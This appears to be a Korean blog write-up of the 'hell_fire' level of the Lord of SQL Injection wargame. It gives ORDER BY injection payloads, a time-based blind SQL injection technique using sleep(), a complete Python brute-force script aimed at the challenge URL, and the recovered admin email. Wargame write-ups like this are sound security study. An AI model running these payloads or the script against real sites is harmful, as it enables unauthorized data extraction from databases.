ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] 23. hell_fire 문제 풀이
    Wargame/LOS (Lord of SQL Injection) 2019. 8. 1. 19:57

    hell_fire

    이번에는 쿼리문 상단에 id, email, score 3개의 컬럼으로 이루어진 테이블이 존재한다. 또한 제시된 쿼리문은 order by 구문을 통해 순서대로 정렬된 테이블을 반환한다. 만약 id가 admin이면 email은 *로 표시되는데, 이 email을 알아내는 것이 이 문제의 최종 목표이다.

     

    일단은 테이블에 뭐가 있는지 확인하려고 order에 1을 넣어봤다.

    그랬더니 아래처럼 2개의 row가 출력되었는데, admin의 email만 *로 표시된 채로 나타나지 않았다.

     

    order = 1

    order by 절을 어떻게 조작할지 고민했는데, 처음에는 order by 절에도 서브 쿼리를 넣을 수 있고, 2개 이상의 row를 반환하면 에러가 발생한다는 것을 알고 이를 이용해 에러 기반 Blind SQL 인젝션으로 문제를 풀려고 했다. 그래서 if문을 이용하여, 아래와 같이 페이로드를 작성해 email의 길이를 알아내려고 했지만 실패했다.

    (계속 거짓일 때의 결과만 실행되버림...)

     

    if(id='admin' and length(email)>10, 1, (select 1, 2 where id='admin')) 

     

    그래서 참/거짓일 때 에러가 아예 발생하지 않고 table의 정렬 순서만 바뀌는 식으로 참/거짓 결과를 수정했다.

    (조건식이 참이면 id 오름차순 정렬, 거짓이면 score 오름차순 정렬)

    if(length(email)>10, id, score) 

     

    근데 이상한 점은, 조건식에 그냥 length만 넣으면 정상적으로 참/거짓이 구별이 됐는데, id='admin' and length(email)>10으로 조건식을 수정하면 score로만 정렬이 되어서 참/거짓을 구별할 수가 없었다.

     

    id=rubiya의 email 길이: 18

    그래서 참/거짓을 에러로 구분하도록 score 대신 숫자 4를 넣었다. (컬럼이 3개밖에 없으므로, order by n에서 n이 4 이상이면 에러가 발생한다.) 하지만 이것도 실패했다... 거짓이어도 에러가 발생하지 않았다.

     

    결국 방향을 아예 틀어서 sleep 함수를 이용한 시간 기반 Blind SQL 인젝션을 시도해보기로 했다.

    ?order=if(id='admin' and length(email)>30,sleep(1),1)

    만약 조건문이 참이면 sleep(1)에 의해 시간이 1초 지연될 것이고, 거짓이면 지연되지 않을 것이다.

    (전송 시간은 개발자도구의 Network 메뉴를 확인하면 된다.)

     

    false일 때 → 지연 X
    true일 때 → 시간 1초 지연

    이 방법을 통해 email의 길이를 구해보면 28이 나온다.

    length(email)이 28일 때

     

    길이도 알았으니 이제 아래 페이로드를 이용하여 email을 직접 구하면 된다.

    (id='admin'이 아닌 score=200을 넣은 이유는, 이렇게 해야 오류가 덜 나기 때문이다...)

    ?order=if(score=200 and ascii(substr(email,1,1))=33,sleep(1),1)

     

    그런데 이 방법을 쓰면 일단 엄청 오래걸리기도 하는데, 시간으로 비교하다보니 실제 email에 포함되지 않는 문자를 반환하기도 한다. 그래서 여러번 돌려봐야한다...

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import requests
    import time
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
     
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
     
    URL = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
    headers = {'Cookie':'PHPSESSID=your_session_id'}
     
    email_length = 28
    email = ''
     
    print("\n=== Find Email ===\n")
     
    for i in range(1, email_length+1): 
        for j in range(33127):
            start = time.time()
            payload = "?order=if(score=200 and ascii(substr(email,{},1))={},sleep(1),1)".format(i,j)
            res = requests.get(url=URL+payload, headers=headers, verify=False)
            end = time.time() - start
            
            if end > 1:
                email += chr(j)
                print("email: " + email)
                break
     
    print('\n>>> Final Email: %s' % email)

     

    다 조합해보면 admin의 email은 admin_secure_email@emai1.com이다.

     

    ?email=admin_secure_email@emai1.com

     

    HELL_FIRE Clear!

    [참고 자료]

    order by 절을 이용한 Blind SQL Injection: https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu

     

Designed by Tistory.